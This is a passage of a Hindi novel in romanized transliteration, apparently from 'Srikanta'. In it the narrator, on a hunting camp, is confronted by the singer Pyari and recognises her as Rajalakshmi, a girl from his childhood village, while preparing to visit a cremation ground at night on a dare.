kaun-kis or jay, is bat par atyant utsah se paramarsh karate-karate sab hi ne do-do pyale chadhakar deh aur man ko viroan ki tarah kar liya. maianne bandook niche rakh di. ek to baeeji ke vyangy ki chot khakar rat se hi man vikal ho raha tha, us par yah shikar ka kshetr dekhakar to sara sharir jal utha.

kumar ne poochha, "kyoan ji kant, tum to b de gumasum ho rahe ho? are yah kya! bandook hi rakh di!"

"maian pakshiyoan ko nahian marata."

"yah kya ji? kyoan, kyoan?"

"muanh par rekh nikalane ke bad se maianne chharrevali bandook nahian chalaee- maian use chalana bhi bhool gaya hooan."

kumar sahab hansate-hansate lot-pot ho gaye. kintu us hansi ka dravy-gun se kitana sambandh tha, yah bat avashy doosari hai.

sooraj ke aauankh-muanh lal ho uthe. ve is dal ke pradhan shikari aur rajapootr ke priy parshvachar the. unake achook nishane ki khyati maianne ate hi sun li thi. ve rusht hokar bole, "chi diyoan ka shikar kya kuchh sharm ki bat hai?"

mera mizaj bhi thikane par nahian tha, isalie javab diya, "sabake lie nahian, parantu mere lie to hai! khair! kumar sahab, meri tabiyat thik nahian hai." kahakar maian tamboo mean laut aya. is par kaun hansa, kisane aauankhean michakaeean. kisane muanh banaya, so maianne najar uthakar bhi nahian dekha.

tamboo mean lautakar maian pharsh par chitt leta hi tha aur ek pyala chay taiyar karane ka adesh dekar ek sigaret pi hi raha tha ki baire ne akar adab ke sath kaha, "baeeji apase milana chahati haian." thik isi bat ki maian asha kar raha tha aur ashanka bhi. poochha, "kyoan milana chahati haian?"

"so to maian nahian janata."

"tum kaun ho?"

"maian baeeji ka khanasama hooan."

"bangali ho?"

"ji haan, jati ka naee hooan. nam mera ratan hai."

"baeeji hindoo haian?"

ratan hansakar bola, "n hotian to maian kaise rahata baboo?"

mujhe sath le jakar aur tamboo ka daravaza dikhakar ratan chala gaya. parda uthakar bhitar dekha ki baeeji akeli baithi huee pratiksha kar rahi haian. kal rat ko peshavaj aur odhani ke karan maian thik taur se pahichan n saka tha, parantu aj dekhate hi pahichan liya ki ho koee; par baeeji haian bangali ki hi l daki. baeeji garad ki sa di pahane hue moolyavan karpet ke oopar baithi thian. bhige hue bikhare bal pith ke oopar phail rahe the. hathoan ke pas pan-dan rakkha tha aur samane hukka. mujhe dekhakar uth kh di huyian aur hansakar samane ka asan dikhate hue bolian, "baithie. apake samane ab aur tamakhoo nahian piooangi- are ratan, huqqa utha le ja. yah kya kh de kyoan haian! baith jaie n!"

ratan akar huqqa le gaya. baeeji bolian, "ap tamakhoo pite haian, yah maian janati hooan; kintu dooan kis tarah? aur jagah ap chahe jo karean, kintu maian jan-boojhakar to apako apana huqqa de n sakooangi. achchha, churut lae deti hooan. are o..."

"thaharo, thaharo, zaroorat nahian. meri jeb mean churut haian."

"haian? achchha to thande hokar jara baith jaie, bahut-si batean karani haian. bhagavan kab kisase mila dete haian, so koee nahian kah sakata, yah svapn mean bhi agochar hai. shikar ke lie gaye the, ekaek laut kyoan ae?"

"tabiyat n lagi."

"n lagane ki hi bat hai. kaisi nishthur hai yah purushoan ki jat. nirarthak jiv-hatya karane mean inhean kya maja ata hai so ye hi janean. babooji to achchhe haian n?"

"babooji ka svargavas ho gaya."

"haian, svargavas ho gaya! aur maan?"

"ve to unase bhi pahale chal basi thian."

"oh-tabhi to!" kahakar baeeji ek dirgh ni:shvas chho dakar meri or dekhati rah gayian. ek dapha to jan p da mano unaki aauankhean chhalachhala ayian haian, kintu, shayad vah meri bhool ho. parantu, doosare hi kshan jab ve bolian tab bhool ke lie koee jagah n rahi. us mukhara nari ka chanchal aur parihas laghu kanthasvar sachamuch hi mridu aur ardr ho utha tha. bolian, "to phir yoan kaho ki ab tumhara jatan karane vala koee n raha. buaji ke pas hi rahate ho n? nahian to, aur phir kahaan rahoge? byah hua nahian, yah to maian dekh hi rahi hooan. padhate-likhate ho? ya vah bhi isake sath hi samapt kar diya?"

ab tak to maian usake kutoohal aur prashnamala ko bharasak baradasht karata raha. kintu n jane kyoan pichhali bat mano mujhe ekaek asahy ho uthi. maian khijhakar rookhe svar mean bol utha, "achchha, kaun ho tum? tumhean jivan mean kahaan dekha hai, yah to yad ata nahian. mere sambandh mean itani batean tum janana hi kyoan chahati ho aur janane se tumhean labh kya hai?"

baeeji ko gussa n aya, ve hansakar bolian, "labh-hani hi kya sansar mean sab kuchh hai? maya, mamata, pyar-muhabbat kuchh nahian? mera nam hai pyari, kintu jab mera mukh dekhakar bhi n pahichan sake, tab l dakapan ka nam sunakar bhi mujhe kaise pahichan sakoge? isake sivay maian tumhare us gaanv ki l daki bhi to nahian hooan."

"achchha tumhara ghar kahaan hai?"

"nahian, so maian nahian bataooangi."

"to phir, apane bap ka nam hi batao?"

baeeji jibh katakar bolian, "ve svarg chale gaye haian-ram-ram, kya unaka nam is muanh se uchcharan kar sakati hooan?"

maian adhir ho utha. bola, "yadi nahian kar sakatian to phir mujhe tumane pahichana kis tarah, yahi batao? shayad yah batalane mean koee dosh n hoga."

pyari ne mere man ke bhav ko lakshy karake musakara diya. kaha, "nahian, isamean kuchh dosh nahian hai, parantu kya tum vishvas kar sakoge?"

"kah dekho n."

pyari ne kaha, "tumhean pahichana ya maharaj, durbuddhi ki mar se- aur kis tarah? tumane meri aauankhoan se jitana pani bahavaya hai, saubhagy se sooryadev ne use sukha diya hai. nahian to aauankhoan ke us jal se ek talab bhar gaya hota. poochhati hooan, kya is par vishvas kar sakate ho?"

sachamuch hi maian vishvas n kar saka. parantu vah meri bhool thi. us samay yah kisi tarah khayal bhi n aya ki pyari ke hothoan ki gathan kuchh is kism ki hai ki mano har bat vah majak mean hi kahati hai aur man hi man hansati haian. maian chup rah gaya. vah bhi kuchh der tak chup rahakar is bar sachamuch hi hans p di. parantu, itani der mean n jane kis tarah mujhe jan p da ki usane apani lajjit avastha ko mano sanbhal liya hai. hansakar kaha, "nahian maharaj, tumhean jitana bhola samajha tha utane bhole tum nahian ho. yah jo mera kahane ka dhang hai, ise tumane barabar samajh liya hai. kintu, yah bhi kahati hooan ki tumhari apeksha adhik buddhiman bhi is bat par avishvas nahian kar sakate. so yadi ap itane adhik buddhiman haian to yah musahabi ka vyavasay apane kisalie grahan kiya hai? yah naukari to tumhare jaise adami se hone ki nahian. jao, yahaan se chatapat khisak jao!"

krodh ke mare mera sarvaang jal utha, kintu maianne use prakat nahian hone diya. sahaj bhav se kaha, "naukari jitane din ho, utane hi din achchhi. baithe se begar bhali- samajhian n! achchha, ab maian jata hooan. bahar ke log shayad aur hi kuchh samajh baithean."

pyari boli, "samajh baithean, to yah tumhare lie saubhagy ki bat hai maharaj, yah kya koee afasos ki bat hai?"

uttar diye bina hi jab maian dvarapar a kh da hua tab vah akasmath hansi ki phuhar chho dakar kah uthi, "kintu dekho baboo, meri vah aauankhoan ke aauansuoan ki bat mat bhool jana. dostoan mean, kumar sahab ke darabar mean, prakat kar doge to sambhav hai tumhari takadir khul jay."

maian uttar diye bina hi bahar ho gaya, parantu us nirlajja ki vah hansi aur yah kadary parihas mere sarvaang mean vyapt hokar bichchhoo ke kaante ki tarah jalane laga.

apane sthan par akar, ek pyala chay pikar aur churut muanh mean dabakar apane ko bharasak thanda karake maian sochane laga- yah kaun hai? maian apani paanch-chh: varsh ki umr tak ki sab ghatanaean spasht taur se yad kar sakata hooan. kintu atit mean jitani bhi door tak drishti ja sakati thi, utani door tak maianne khoob chhan-bin kar dekha, kahian bhi is pyari ko nahian khoj paya. phir bhi, yah mujhe khoob pahachanati hai. bua tak ki bat janati hai. maian daridr hooan, so bhi isase ajnat nahian hai. isilie, aur to koee gahari chal isamean ho nahian sakati; phir bhi, jis tarah ho, mujhe yahaan se bhaga dena chahati hai. parantu yah kisalie? mere yahaan rahane n rahane se ise kya? batoan hi batoan mean us samay isane kaha tha- sansar mean labh-hani hi kya sab kuchh hai? pyar-muhabbat kuchh nahian hai? maianne jise pahale kabhi aauankh se bhi nahian dekha, usake muanh ki yah bat yad karake bhi mujhe hansi a gayi. kintu sari batachit ko dabakar, usaka akhiri vyangy hi mano mujhe lagatar chhedane laga.

sandhyay ke samay shikariyoan ka dal laut aya. naukaroan ke muanh se suna ki ath pakshi marakar lay gaye haian. kumar ne mujhe bula bheja. tabiyat thik n hone ka bahana karake bistaroan par hi maian p d raha; aur isi tarah p de-p de rat ko der tak pyari ka gana aur sharabiyoan ki vah-vah sunata raha.

isake bad tin-char din pray: ek hi tarah se kat gaye. 'pray:' kahata hooan, kyoanki, sirph shikar ko chho dakar aur sab batean roj ek-si hi hoti thian. pyari ka abhishap mano phal gaya ho- prani-hatya ke prati kisi mean kuchh bhi utsah maianne nahian dekha. mano koee tamboo ke bahar bhi n nikalana chahata ho. phir bhi mujhe unhoanne nahian chho da. mere vahaan se bhag jane ke lie koee vishesh karan ho, so bat n thi; kintu is baeeji ke prati mujhe mano ghor aruchi ho gayi. vah jab hajir hoti, tab mano mujhe koee mar raha ho aisa lagata- uthakar vahaan se jab chala jata tabhi kuchh shanti milati. uth n sakata, to phir aur kisi or muanh phirakar, kisi ke bhi sath, batachit karate hue anyamanask hone ki cheshta kiya karata. is par bhi vah har samay mujhase aauankhean milane ki hazar tarah se cheshta kiya karati, yah bhi maian achchhi tarah anubhav karata. shuroo mean do-tin din usane mujhe lakshy karake parihas karane ki cheshta bhi ki; kintu, phir mere bhav ko dekhakar vah bilkural sann ho rahi.

shanivar ka din tha. ab kisi tarah bhi maian thahar nahian sakata. kha-pi chukane ke bad hi aj ravana ho jaooanga, yah sthir ho jane se aj subah se hi gane-bajane ki baithak jam gayi thi. thakakar baeeji ne gana band kiya hi tha ki hathath sari kahaniyoan se shreshth bhootoan ki kahani shuroo ho gayi. pal-bhar mean jo jahaan tha usane vahian se agrah ke sath vakta ko gher liya.

pahale to maian laparavahi se sunata raha. parantu ant mean udvi‍gnaj hokar baith gaya. vakta the gaanv ke hi ek vriddh hindustani mahashay. kahani kaise kahani chahie so ve janate the. ve kah rahe the ki "pret-yoni ke vishay mean yadi kisi ko sandeh ho-to vah aj, is shanivar ki amavasya tithi ko, is gaanv mean akar, apane chakshu-karnoan ka vivad bhanjan kar dale. vah chahe jis jati ka, chahe jaisa, adami ho aur chahe jitane adamiyoan ko sath lekar jae, aj ki rat usaka mahashmashan ko jana nishphal nahian hoga. aj ki ghor ratri mean ugr shmashanachari pretatma ko sirph aauankh se hi dekha ja sakata ho so bat nahian- usaka kanthasvar bhi suna ja sakata hai aur ichchha karane par usase batachit bhi ki ja sakati hai." maianne apane bachapan ki batean yad karake hans diya. vriddh mahashay use lakshy karake bole, "ap mere pas aie." maian unake nikat khisak gaya. unhoanne poochha, "ap vishvas nahian karate?"

"nahian."

"kyoan nahian karate? nahian karane ka kya koee vishesh hetu hai?"

"nahian."

"to phir? is gaanv mean hi do-ek aise siddh purush haian jinhoanne apani aauankhoan dekha hai. phir bhi jo ap vishvas nahian karate, muanh par hansate haian so yah keval do panne aangareji padhane ka phal hai. bangali log to vishesh karake nastik mlechchh ho gaye haian." kahaan ki bat kahaan a p di, dekhakar maian avakh ho gaya. bola, "dekhie, is sambandh mean maian tark nahian karana chahata. mera vishvas mere pas hai. maian bhale hi nastik hoooan, mlechchh hoooan- par bhoot nahian manata. jo kahate haian ki hamane aauankhoan se dekha hai ve ya to thage gaye haian, athava jhoothe haian, yahi mera dharana hai."

us bhale adami ne chat se mere dahine hath ko pak dakar kaha, "kya ap aj rat ko shmashan ja sakate hai?" maian hansakar bola, "ja sakata hooan, bachapan se hi maian anek ratriyoan mean anek shmashanoan mean gaya hooan." vriddh chidhakar bol uthe, "ap shekhi mat bagharie baboo." itana kahakar unhoanne us shmashan ka, sare shrotaoan ko stambhit kar dene vala, mahabhayavah vivaran vigatavar kahana shuroo kar diya. "yah shmashan kuchh aisa-vaisa sthan nahian hai. yah mahashmashan hai. yahaan par hajaroan nar-mund gine ja sakate haian. is shmashan mean, har rat ko, mahabhairavi apane sathiyoan sahit nar-mundoan se geand khelati haian aur nrity karati huee ghoomati haian. unake khilakhila kar hansane ke vikat shabd se kitani hi daphe, kitani hi avishvasi aangarej jajoan, majistretoan ke bhi hriday ki dh dakan band ho gayi hai." is kism ki lomaharshak kahani ve is tarah se kahane lage ki itane logoan ke bich, din ke samay, tamboo ke bhitar baithe rahane par bhi, bahut se logoan ke sir ke bal tak kh de ho gaye. tirachhi najar se maianne dekha ki pyari n jane kab pas akar baith gayi hai aur un batoan ko mano sare sharir se nigal rahi hai.

is tarah jab vah mahashmashan ka itihas samapt hua tab vakta ne abhiman ke sath meri or kataksh pheankakar prashn kiya, "kyoan baboo sahab, ap jaanyage?"

"jaooanga kyoan nahian?"

"jaoge! achchha, apaki maraji. pran jane par-"

maian hansakar bola, "nahian mahashay, nahian. pran jane par bhi tumhean dosh n diya jayega, tum isase mat daro. kintu bejani jagah mean maian bhi to khali hath nahian jaooanga- bandook sath jayegi!"

alochana atyadhik tej ho uthi hai, yah dekhakar maian vahaan se uth gaya. "pakshi marane ki to himmat nahian p dati, bandook ki goli se bhoot mareange sahab! bangali log aangareji padhakar hindoo-shastr tho de hi manate haian- ye murgi tak to kha jate haian- muanh se ye log kitani hi shekhi kyoan n marean, kam ke samay bhag kh de hote haian-ek dhauans p date hi inake dant kapat lag jate haian!" is tarah ki samalochana shuroo huee. arthath, jin sab sookshm yukti-tarkoan ki avadharana karane se hamare raja reesoan ko anand milata hai, aur jo unake mastishk ko atikram nahian kar jate- arthath ve svayan bhi jinamean ghusakar do shabd kah sakate haian- aise hi ve sab yuktitark the.

in logoan ke dal mean sirph ek adami aisa tha jisane svikar kiya ki maian shikar karana nahian janata aur jo sadharanat: batachit bhi kam karata tha, sharab bhi kam pita tha. nam tha usaka purushottam. sham ko akar usane mujhe pak d liya aur kaha, "maian bhi sath chalooanga- kyoanki isake pahale maianne bhi kabhi bhoot nahian dekha. isalie, aj ab aisa achchha mauqa mila hai, tab maian use chho dana nahian chahata."- aisa kahakar vah khoob hansane laga. maianne poochha, "tum kya bhoot nahian manate?"

"bilkuil nahian."

"kyoan nahian manate?"

"bhoot nahian hai, isalie nahian manata." itana kahakar vah prachalit tark utha-uthakar barambar asvikar karane laga. kintu, maianne itane sahaj mean use sath le jana svikar nahian kiya. kyoanki, bahut dinoan ki janakari se maianne jana tha ki, yah sab yukti-tark ka vyapar nahian- yah to sanskar hai. buddhi ke dvara jo bilkukal hi nahian manate, ve bhi bhay ke sthan par a p dane par bhay ke mare moorchchhit ho jate haian.

purushottam kintu is tarah sahaj mean chho dane vala nahian tha. vah laang kasakar ek pakke baans ki lak di kandhoan par rakhakar bola, "shrikant baboo, apaki ichchha ho to bhale hi ap bandook le chalean; kintu apane hath mean lathi rahate, bhoot ho chahe prem- maian kisi ko bhi pas n phatakane dooanga."

"kintu vakt par hath mean lathi rahegi bhi?"

"thik isi tarah rahegi baboo, ap us samay dekh lena. kos-bhar ka rasta hai, rat ko gyarah ke bhitar hi ravana ho jana chahie."

maianne dekha, usaka agrah mano kuchh atirikt-sa hai.

jane ke lie us samay bhi qarib ghante-bhar ki der thi. maian tamboo ke bahar tahalakar is vishay par man hi man andolan karake, dekh raha tha ki vastu vastav mean kya ho sakati hai. in sab vishayoan mean maian jisaka shishy tha, use bhoot ka bhay bilkusal nahian tha. l dakapan ki batean yad a rahi thian- us ratri ko jab indr ne kaha tha, "shrikant, man hi man ram-nam leta rah; vah l daka mere pichhe baitha hua hai." keval usi din bhay ke mare maian behosh ho gaya tha, aur kisi din nahian. phir darane ka mauqa hi nahian aya. kintu aj ki bat sach ho, to vah vastu hai kya? indr svayan bhoot mean vishvas karata tha. kintu usane bhi kabhi aauankhoan se nahian dekha. maian bhi apane man hi man chahe jitana avishvas kyoan n karooan, sthan aur kal ke prabhav se mere sharir mean us samay sanasani n paida ho, yah bat nahian. sahasa samane ke us durbhedy amavasya ke andhakar ki or dekhakar mujhe ek aur amavasya ki rat ki bat yad a gayi. vah din bhi aisa hi ek shanivar tha.

paanch-chhah varsh pahale, hamari p dosin, hatabhagini niroo jiji bal vidhava hokar bhi jab prasooti rog se pi dit hokar aur chhah mahine tak du:kh bhog bhogakar marian, tab unaki mrityu-shayya ke parshv mean mere siva aur koee nahian tha. bag ke bich ek mitti ke ghar mean ve akeli rahati thian. sab logoan ki sab tarah se rog-shok mean, sampatti-vipatti mean itani adhik seva karane vali, ni:svarth paropakarini stri muhalle-bhar mean aur koee nahian thi. kitani striyoan ko likha-padhakar, sooee ka kam sikhakar aur grihasthi ke sab kism ke durooh kary samajhakar, unhoanne manushy bana diya tha, isaki koee ginati nahian thi. atyant snigdha shant-svabhav aur charitr ke karan muhalle ke log bhi unhean kuchh kam nahian chahate the. kintu unhian niroo jiji ka jab tis varsh ki umr mean hathath paanv phisal gaya aur bhagavan ne is atyant kathin vyadhi ke aghat se unaka jivanabhar ka ooancha mastak bilkuchhal mitti mean mila diya, tab is muhalle ke kisi bhi adami ne us durbhagini ka uddhar karane ke lie hath nahian badhaya. pap-sparsh leshahin nirmal hindoo samaj ne us hatabhagini ke mukh ke samane hi apane sab khi daki-daravaze band kar liye, aur jis muhalle mean shayad ek bhi adami aisa nahian tha jisane ki kisi n kisi tarah niroo jiji ke hath ki premapoorn seva ka upayog n kiya ho, usi muhalle ke ek kone mean, apani antim shayya dalakar vah durbhagini, ghrina aur lajja ke mare sir nicha kiye huye akeli, ek-ek din ginati huee, sudirgh chh: mahine tak bina chikitsa ke p di-p di apane pair phisalane ka prayashchit karake, shravan mahine ki ek adhi rat ke samay, is lok ko tyag kar jis lok ko chali gayi usaka thik-thik byaura chahe jis smart pandit se poochhate hi jana ja sakata hai.

meri bua atyant gupt riti se unaki sahayata karati thian, yah bat maian aur mere ghar ki ek b di dasi ke siva is duniya mean aur koee nahian janata tha. bua ek din mujhe akele mean bulakar bolian, "bhiya shrikant, too to is tarah rog-shok mean jakar anekoan ki khabar liya karata hai; us chhokari ko bhi ekadh daphe kyoan nahian dekh aya karata?" tab se maian barabar bich-bich mean jakar unhean dekha karata aur bua ke paisoan se yah chij- vah chij- kharid kar de aya karata. unaki mrityu ke samay keval maian hi akela unake pas tha. maran-samay mean aisa paripoorn vikas aur paripoorn jnan maianne aur kisi ke nahian dekha. vishvas n karane par bhi, bhay ke mare sharir mean jo sanasani phail jati hai, usi ke udaharan svaroop maian yah ghatana likh raha hooan.

vah shravan ki amavasya ka din tha. ratri ke barah bajane ke bad aauandhi aur pani ke prakop se prithvi mano apane sthan se chyut hone ki taiyari kar rahi thi. sab khi daki-daravaze band the- maian khat ke pas hi ek bahut purani adhi tooti huee aram-kursi par leta hua tha. niroo jiji ne apane svabhavik mukt svar se mujhe apane pas bulakar, hath uthakar, mera kan apane mukh ke pas le jakar, dhire se kaha, "shrikant, too apane ghar ja."

"so kyoan niroo jiji, aise aauandhi-pani mean?"

"rahane de aauandhi-pani. pran to pahale haian." ve bhram mean pralap kar rahi haian, aisa samajhakar maian bola, "achchha jata hooan, pani jara tham jane do." niroo jiji atyant chintit hokar bol uthian, "nahian, shrikant, too ja, ja bhaee, ja- ab tho di bhi der mat thahar- jaldi bhag ja." is dapha unake kanthasvar ke bhav se meri chhati ka bhitari bhag kaanp utha. maian bola, "mujhase jane ke lie kyoan kahati ho?"

pratyuttar mean mera hath khianchakar aur band khi daki ki or lakshy karake, ve chilla uthian, "jayega nahian, to kya jan de dega? dekhata nahian hai, mujhe le jane ke lie ve kale-kale sipahi ae haian. too yahaan par maujood hai, isilie ve khi daki mean se hi mujhe dara rahe haian."

isake bad unhoanne kahana shuroo kiya, "ve is khat ke niche haian, ve sir ke oopar haian. ve marane a rahe haian! yah liya! vah pak d liya!" yah chitkar rat ke antim samay mean tab samapt hua jab ki unake pran bhi pray: shesh ho chuke the.

ukt ghatana aj bhi meri chhati ke bhitar gahari jamakar baithi huee hai. us ratri ko mujhe dar to laga hi tha- yad-sa ata hai ki mano kuchh chehare bhi dekhe the. yah sach hai ki is samay us ghatana ki yad ane se hansi ati hai; parantu, yadi mujhe us samay is bat par asanshay vishvas n hota, ki kiva d kholakar bahar hote hi maian niroo jiji ke kale-kale sipahi-santariyoan ki bhi d mean zaroor p d jaooanga, to us din, amavasya ke us ghor duryog ko tuchchh karake bhi shayad maian bhag kh da hota. sath hi yah sab kuchh bhi nahian hai, kuchh bhi n tha, yah bhi janata tha; aur maranasann vyakti keval nidarun vikar ki behoshi mean hi yah pralap kar raha tha, so bhi samajhata tha. itane mean-

"baboo!"

chauankakar maian ghooma, dekha, ratan hai.

"kya hai re?"

"baeeji ne pranam kaha hai."

jitana maian vismit hua utana hi khijha bhi. itani rat ko akasmath bula bhejana keval atyant apamanakarak spardha hi maloom ho, so bat nahian, gat tin-char dinoan ke donoan taraph ke vyavaharoan ko yad karake bhi yah pranam kahala bhejana mano mujhe bilkuil behooda maloom hua. kintu, isake phalasvaroop naukar ke samane kisi tarah ki uttejana prakat n ho jay; is ashanka se apane pranapan se sanbhalakar maianne kaha, "aj mere pas samay nahian hai ratan, mujhe bahar jana hai, kal mil sakooanga."

ratan sikhaya-padhaya naukar tha- adab-kayade mean pakka. atyant adar bhare mridu svar se bola, "b di zaroorat hai babooji, ek daphe apane kadamoan ki dhool deni hi hogi. nahian to, baeeji ne kaha hai, ve svayan hi a jaanyagi."- sarvanash! is tamboo mean itani rat ko, itane logoan ke samane! maian bola, "too samajhakar kahana ratan, aj nahian, kal savere hi mil looanga. aj to maian kisi bhi tarah nahian ja sakata." ratan bola, "to phir ve hi aeangi babooji, maian gat paanch varshoan se dekh raha hooan ki baeeji ki bat mean kabhi jara bhi farq nahian p data. ap nahian chaleange to ve nishchay hi aveangi."

is anyay asangat zid ko dekhakar maian e di se choti tak jal utha. bola, "achchha thaharo, maian ata hooan." tamboo bhitar dekha, varuni ki kripa se jagata koee nahian hai. purushottam bhi gambhir nidra mean magn hai. naukaroan ke tamboo mean sirph do-char adami jag rahe haian. jhatapat boot pahinakar ek kot sharir par dal liya. raiphal thik rakhi hi thi. use hath mean lekar ratan ke sath-sath baeeji ke tamboo mean pahuancha. pyari samane hi kh di thi. mujhe apadamastak bar-bar dekhati huee, kisi tarah ki bhoomika baandho bagair hi, kruddhasvar mean bol uthi, "masan-vasan mean tumhara jana n ho sakega-kisi tarah bhi nahian."

bahut hi ashcharyachakit hokar maian bola, "kyoan?"

"kyoan aur kya? bhoot-pret kya haian nahian, jo is shanivar ki amavasya ko tum shmashan jaoge? kya tum apane pranoan ko lekar phir laut a sakoge vahaan se?"

itana kahakar pyari akasmath rone lagi aur aauansuoan ki aviral dhara bahane lagi. maian vihval-sa hokar chupachap usaki or dekhata rah gaya. kya karooan, kya javab dooan, kuchh soch hi n saka. soch n sakane mean acharaj ki bat hi kya thi? jisase jan nahian, pahichan nahian, vah yadi hitakaanksha se adhi rat ko bulakar khamakhvah rona shuroo kar de, to kaun hai aisa jo hat-buddhi n ho jay! mera javab n pakar pyari ne aauankhean poanchhate hue kaha, "tum kya kisi din bhi shant-shisht nahian hooge? aise hathi bane rahakar hi jivan bita doge? jao, dekhooan tum kaise jate ho? maian bhi phir tumhare sath chalooangi." itana kahakar usane shal uthakar apane sharir par dalane ki taiyari kar di.

maianne sankshep mean kaha, "achchha hai chalo!" mere is chhipe hue tane se jal-bhunakar pyari boli, "aha! desh-videsh mean tab to tumhari sukhyati ki sima-parisima n rahegi! baboo shikar khelane ke lie akar, ek nachane vali ko sath lekar, adhi rat ko bhoot dekhane gaye the! vah! maian poochhati hooan, ghar se kya bilkural hi 'aut' hokar ae ho? ghrina, virikt, laj-sharam adi kya kuchh bhi nahian rah gayi?" yah kahate-kahate usaka tivr kanth mano ardr hokar bhari ho gaya. boli, "kabhi to tum aise nahian the. tumhara itana adh:patan hoga, yah to kisi ne bhi kabhi socha-samajha n tha." usaki pichhali bat par aur koee samay hota to maian itana khijh uthata ki jisaka par n rahata; parantu is samay krodh nahian aya. man hi man mujhe laga ki pyari ko mano maianne pahichan liya hai. aisa kyoan man mean aya so phir kahooanga. us samay maian bola, "logoan ke sochane-samajhane ka mooly kitana hai, so to tum khud bhi janati ho. tum bhi itane adh:patan ke raste jaogi, kya kabhi kisi ne socha tha?"

kshan-bhar ke lie pyari ke mukh ke oopar sharad rritu ki badali vali chaandani ke saman hansi ki ek sahaj abha dikhaee de gayi. kintu vah kshan-bhar ke lie hi. doosare hi kshan usane darati huee avaz se kaha, "mere vishay mean tum kya janate ho? kaun hooan maian, batao?"

"tum ho pyari."

"so to sabhi janate haian."

"sab jo nahian janate, so bhi maian janata hooan- use sunakar kya tum khush hoogi? yadi hoti to khud hi apana parichay de detian. kintu jab nahian diya hai, tab mere muanh se bhi koee bat nahian sun paogi. is bich sochakar dekho, apane apako prakat karogi ki nahian? kintu ab aur samay nahian hai- maian jata hooan."

pyari ne bijali ki si tezike sath mera rasta rokakar kaha, "yadi n jane dooan, to kya jabaran chale jaoge?"

"kintu, jane hi kyoan n dogi?"

pyari boli, "jane dooan? sachamuch kya bhoot nahian hote jo tumhare 'jane do' kahane se hi jane dooangi? maian kahe deti hooan ki maian bat ki bat mean 'maiya ri maiya' chillakar hat laga dooangi." yah kahakar usane bandook chhin lene ki cheshta ki. maian ek qadam pichhe hat gaya. kuchh kshanoan se meri khijh hansi ke roop mean parivartit ho rahi thi. is daphe khoob hansakar kah diya, "sachamuch ke bhoot hote haian ki nahian, so to maian nahian janata; parantu jhooth-mooth ke bhoot haian, yah zaroor janata hooan. ve samane kh de hokar batachit karate haian, rasta rokate haian- aise n jane kitani tarah ke kirti ke kam karate haian- aur zaroorat p dane par gardan dabochakar kha bhi jate haian!" pyari malin ho gayi aur kshan-bhar ke lie shayad soch n saki ki kya kahe. isake bad boli, "yadi aisi bat hai, to jo tum yah kahate ho ki tumane mujhe pahichan liya, so tumhari bhool hai. ve anek kirti ke kam karate haian, yah sach hai, kintu dabochane ke lie rasta rokakar nahian kh de hote. unhean apane parae ka bodh hota hai." maianne phir bhi hansakar prashn kiya, "yah to huee tumhari khud ki bat, kintu tum kya bhoot ho?"

pyari boli, "bhoot hi to hooan, aur nahian to kya? jo log marakar bhi nahian marate, ve hi to bhoot haian; yahi to kahane ka matalab hai?" tho di der thaharakar vah svayan hi phir kahane lagi, "ek hisab se to, jo maian mar chuki hooan so saty hai. kintu sach ho chahe jhooth, apane marane ki bat maianne prasiddh nahian ki, mama ke jarie maan ne phailaee thi. sunana chahate ho sab hal?" marane ki yah bat sunate hi mera sanshay door ho gaya. maianne thik pahichan liya ki yah rajalakshmi hai. bahut din pahale yah apani mata ke sang tirth-yatra karane gayi thi aur phir lautakar nahian aee. maan ne gaanv mean akar yah bat prasiddh kar di ki kashi mean haije ki bimari se vah mar gayi. use maianne kabhi dekha hai, yah bat avashy hi mujhe yad n a rahi thi kintu usaki ek adat par, maian jabase yahaan aya tha tabhi se, dhyahan de raha tha. jab vah gusse mean hoti thi tab daantoan ke niche adhar daba liya karati thi. kabhi kahian kisi ko mano thik isi tarah karate anek bar dekha hai, keval yahi bat bar-bar man mean ane lagi. kintu vah kaun tha, kahaan dekha tha; kab dekha tha- so kuchh bhi yad nahian ata tha. vahi rajalakshmi aisi ho gayi hai, yah dekhakar maian kshan-bhar ke lie acharaj se abhibhoot ho gaya. maian jab apane gaanv ke manasa pandit ki pathashala mean sab chhatroan ka saradar tha, tab isake do pusht ke kulin bap ne apana ek aur byah karake isako ghar se nikal diya. pati ke dvara parityakta mata, suralakshmi aur rajalakshmi namak donoan kanyaoan ko lekar apane bap ke ghar chali aee. umr isaki us samay ath-nau ki hogi aur suralakshmi ki barah-terah ki. isaka rang avashy hi khoob ujala tha kintu maleriya aur pliha ke mare pet matake jaisa, hath pair lak di ki tarah, sir ke bal taanbe ke saman the aur kitane the so bhi gine ja sakate the. meri mar ke dar se yah l daki karoandoan ki jha di mean ghusakar karoandoan ki mala gooanth lakar mujhe diya karati thi. yadi vah mala kisi din chhoti hoti to, maian purana path poochhakar ise ji bharakar chapatiyata tha. mar khakar yah l daki hoth chabati huee gumasum hokar baith rahati, kintu kisi tarah bhi yah nahian kahati ki roj karoande sangrah karana usake lie kitana kathin hai. jo kuchh bhi ho, itane dinoan tak to maian yahi samajhata tha ki vah mere bhay se itana klesh svikar karati hai; kintu aj mano hathath kuchh sanshay utpann hua. khair jane do. usake bad isaka vivah ho gaya. vah vivah bhi ek vichitr vyapar tha. bechara mama bhanajiyoan ke byah ki chinta ke mare mara ja raha tha. daivath kahian se yah khabar aee ki viranchi datt ka rasoiya kulin ki santan hai. is kulin ki santan ko datt mahashay baanku de se apani badali hote samay sath hi liva lae the. viranchi datt ke dvar par mama dharana dekar p d gaye- brahman ki jati-raksha karani hi hogi! itane din tak to sab yahi janate the ki datt mahashay ka rasoiya bhola bhala bhala adami hai parantu matalab ke samay dekha gaya ki rasoiya maharaj ki saansarik buddhi kisi se bhi kam nahian hai. sirph ikyavan rupaye dahej ki bat sunakar vah zor se sir hilakar bola, "itane saste mean nahian ho sakata mahashay- bazar jaanch dekhie. pachas aur ek rupaye mean to ek jo di b de bakare bhi nahian milate- aur itane mean ap jamaee khojate haian! ek sau aur ek rupaye do, to ek bar is pate par aur ek bar us pate par baithakar do phool chho d dooanga. donoan hi bahinean ek hi sath 'par' ho jaanyagi. kya ek sau rupaye- do saan d kharidane ka kharch-bhi ap n deange?" bat kuchh asangat nahian thi. phir bhi anek mol-tol aur b di sahi sipharish ke bad sattar rupaye mean tay hokar ek hi rat mean ek sath suralakshmi aur rajalakshmi ka vivah ho gaya. do din bad sattar rupaye nakad lekar vah do pusht ka kulin jamaee baanku da chal diya. isake bad phir kisi ne use nahian dekha. dedhek varsh bad pliha ke jvar se suralakshmi mar gayi aur usake bhi varsh-dedh varsh pichhe is rajalakshmi ne kashi mean 